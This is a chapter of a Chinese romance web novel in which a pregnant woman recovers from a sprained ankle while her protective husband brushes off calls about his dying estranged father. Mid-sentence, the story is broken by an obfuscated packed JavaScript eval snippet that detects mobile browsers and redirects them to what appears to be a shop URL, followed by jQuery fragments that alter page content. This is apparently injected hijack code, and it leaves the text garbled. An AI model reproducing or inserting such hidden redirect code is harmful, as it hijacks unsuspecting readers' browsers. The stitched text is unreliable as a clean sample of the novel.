26. 下坠
作品:《妙偶天成[先婚后爱]》 肚子里的宝宝好像真的能听到她说话,轻轻踢了下妈妈的肚皮,仿佛在告诉她我很好。
易妙生不禁无比期待再过几个月,和宝宝见面的那一天。
最近的气温渐渐转凉,燕城的秋天来得很快,易妙生在阳台边眺望远处,白蜡树的枝头已经染上了些许秋意。
这让她回忆起小时候母亲带她赏秋的场景,易妙生那会儿很活波,喜欢在树林里疯跑,把落叶踩得噼啪作响。
悬铃木的树叶最脆,不像银杏叶软软的,但母亲会带她一起做手工,把小小的叶片组装成花朵的形状,放进花瓶中慢慢风干,直到来年再换上新的。
这些都是母亲留给她的珍贵回忆,和她相处的时光总是温馨而有爱的。
易妙生并不确定自己以后会不会有那么多耐心,但在孕育这个孩子的过程中,他已经成了易妙生无法割舍的一部分。
易妙生躺上编织藤椅,给自己搭上条藕粉色的羊绒毯,一边看书,另一只手轻轻抚摸肚子隆起的弧度。
阳光渐渐铺洒进室内,把女孩子的发尾都变成金黄的颜色,柯越进来看到的就是这样一幅温馨的画面。
易妙生听到门口的动静,抬眼看向柯越,对方围裙还没摘掉,手中端着热气腾腾的食物,易妙生疑惑道:“怎么不叫我下楼吃饭。”
柯越将饭菜摆放到小桌上,解释道:“吴阿姨说让你这两天少走动,就让我端上来了。”
只是扭伤个脚踝而已,慢慢走其实并不影响的,家里的两个人实在太过小心,易妙生很是无奈,如果伤到的手腕,是不是饭都需要别人喂。
但柯越真是这么想的,易妙生的手臂也有轻微的挫伤,她本来皮肤就白,还是特别容易留下印子的体质,一晚过去,易妙生的小臂就变得青青紫紫的,见医生的时候把他吓了一跳。
等扶易妙生过来坐下,柯越很自然地舀了勺虾仁蒸蛋,轻轻吹凉,递到她唇边。
易妙生脸色羞赧,拿着筷子的手都不知道该放在哪里,问柯越:“你不吃吗?”
“先陪你吃完。”柯越笑得温柔,回答她。
不想让对方手举太久,易妙生把唇边的食物咽了进去,虾仁鲜嫩鸡蛋醇香,但她死活不肯让柯越再投喂第二次。
“这点小伤不影响我吃饭的,你下楼和阿姨先吃吧,等会儿菜都凉了。”易妙生认真道。
柯越表情似乎有些惋惜,回答道:“没关系,现在还不饿。”他坐在旁边静静看易妙生进食,她用餐的动作很优雅,脸颊一鼓一鼓的。
易妙生从未有过被别人注视着吃饭的体验,很不习惯,可柯越只是想陪着她而已。
等她吃完,易妙生有种如释重负的感觉,柯越适时地用纸巾替她擦拭掉嘴角的油渍,把碗碟都整理好。
“我一会儿再来给你冰敷,你如果困的话就先睡觉。”柯越道。
真的是一步路也不让她走,易妙生很无奈,幸好她伤得不严重,就目前柯越这个小题大做的程度,已经让她倍感压力了。
柯越迟迟没有上楼,易妙生等得也有些困倦,把窗帘拉上打算小憩一会。
此时的柯越,正在书房中接打一个陌生来电。
“哥,爸爸时日不多了,你真的不来看他吗?”说话的人是柯钰,他未曾谋面的同父同母的亲弟弟。
对方的语气不像那天温和,非常冷硬,像在指责他的冷血。
都说了不要再联系,不知道柯钰哪里弄到的他的联系方式,柯越听到他声音的瞬间,就想挂断电话。
但对方马上又接着道:“爸爸手里还有柯氏的股份,他必须要和你见一面才会转赠给你。“
柯越冷笑了一声,这种东西他根本就不在乎,现在会在柯氏工作也不过是为了让爷爷放心,他无所谓道:“就让他留给你吧,挂了。”
躺在病床上的男人头发花白,脸颊因为顽疾变得十分消瘦,其实他不过才五十几岁,看起来却尤为苍老。
刚刚柯钰是外放的,柯越说了什么他都能听得一清二楚。
男人的眼角流下一滴泪,因为身上连着呼吸机都没办法开口说话,他摆摆手,让柯钰退出去,一个人呆呆得望着窗外的风景。
秦璇在病房外等着,她鼻梁上架着副墨镜,嘴唇是鲜艳的红色,身上穿的是礼裙配皮草,显然刚从聚会上回来,黑色的波浪卷发让她看起来风情万种。
柯钰见这样的母亲微不可查的蹙了下眉道:“你悠着点,他都病成这样了,不能过段时间再去社交吗?”
秦璇僵硬地笑了下:“反正他也不想看到我,我干嘛要自讨没趣。”
柯钰对父母病态的关系很无语,他也懒得管那么多,反正过段时间他和母亲就能自由回国,不用再过这种被流放的生活。
秦璇显然更关心另一件事,她问:“柯越怎么说。”
“柯越当然瞧不上父亲手里的股份,怎么可能来看他。”柯钰回。
“凭你父亲的那份,足够你进入柯氏的董事会了,妈妈以后可就只能指望你了。”秦璇说道。
这样的话柯钰从小到大不知道听母亲说了多少遍,他点点头,说:“我先回学校了。”
柯越挂断电话,男人拧着眉,一脸烦躁的表情,他从抽屉里拿出个烟盒,走到窗边正欲用打火机点燃,想到易妙生,又把东西都放了回去。
毕竟烟草或多或少会在身上残留下气味,易妙生闻到对她身体不好。
柯越都不知他们怎么想的,当作彼此不存在相安无事不行吗,偏偏到这种时候来找存在感。
他也承认自己很无情,听到柯戎的身体情况时,完全没有一丝波动,这个父亲自始至终在他心里和死了也没什么分别。
说起来他才是导致这一切的罪魁祸首,只是他所追求的自由的生活,显然也并不太轻松,不然怎么至于这个年纪就快离世。
但柯越有些纠结,他可以装作不知道柯戎的事情,但他毕竟是爷爷奶奶的儿子,他有权利向他们隐瞒这件事吗?
他揉开紧皱的眉心,才去易妙生的房间,对方每天中午雷打不动会午休一个小时,现下已经睡熟了,冰袋敷在皮肤上都没有任何反应。
和易妙生待在一起的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373804|198307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候,柯越才会真正的放松,替她把药换好,柯越换了身衣服躺上了易妙生的床。
女孩子的背严丝合缝地贴上柯越的胸膛,对方小心避开易妙生的伤处,将女孩子束缚在自己怀中,亲密得宛若一人。
这个世界上,只有易妙生才是独属于他的真正的家人。
——
一场秋雨过后,气温骤降,外面的树叶黄得更加亮眼,易妙生的扭伤已经完全恢复,丝毫不影响走动。
六个月的肚子饶是宽松衣物也遮不住,对易妙生的身体也是个不小的负荷,总是会让她腰酸背痛。
更难受的是,最近宝宝太过活波,晚上经常把她踢醒,易妙生都没办法好好休息。
柯越自从那晚意外之后,几乎全天都会陪着易妙生,还把家里的浴室全加上了防滑地垫,每次她洗澡柯越都会在一墙之隔的地方陪着她。
如果她有什么需要,柯越就能及时帮助她。
看着易妙生难受,柯越比她更在意,刚回公司上几天班,又改成了线上办公,就是更辛苦他的助理,有时一天会来送几次文件。
晚餐后,柯越在书房处理积攒的工作,易妙生推开门,说道:“我出去散步,等会儿就回来。”
柯越听她要出门,立马放心手里的文件说:“稍等我一会,发个邮件我陪你去。”
最近和柯越在一起的时间实在太多,易妙生就是想一个人出去透透气,她拒绝道:“你忙你的,我就在小区走走,很安全的。”
柯越瞥了眼窗外,今天是个晴天,他没法把地面湿润作为借口阻止易妙生出门,这个邮件很紧急,他也不能立刻抛下。
他起身从柜子里给易妙生拿了件披风让她穿上,说道:“那你去吧,慢慢走注意脚下。”
易妙生扶额,柯越简直拿她当小孩一样,实在过于担心,她开口道:“放心吧,我会小心的。”
她穿得已经足够保暖,披风搭在身上好像有些累赘,易妙生捏了下衣摆问:“这样穿会不会太厚了。”
“外面风大,多穿点没关系的。”柯越回答。
确实如柯越所说,最近晚上的气温更低了,风吹到脸上冰冰的,易妙生裹紧了身上的披风。
但柯越明明也不是没有审美的人,易妙生看了眼披风的花哨图案,想不通柯越怎么会给她挑这样的衣服。
不仅把她上身的粉色羊绒毛呢外套挡得严严实实,配上深灰色的呢料半裙,让她看起来像老了十岁。
最近日落时间也更早了,易妙生没在外面待多久,便往家的方向折返,路上碰到了个小姑娘在家长的陪伴下遛狗。
毛绒绒的白色萨摩耶,体型和小孩相比很大,却完全不会乱跑,而是乖乖的随着小主人的脚步走动。
看得易妙生也有些心痒,如果肚子里的宝宝也是女儿,一定会和那个小姑娘一样可爱吧。
她在原地站了很久,直到一家三口带一狗的背影消失在视线范围才收回目光。
柯越已经忙完了出来找易妙生,他远远看见妻子的身影,径自走过来牵上她的手问:“在看什么?”

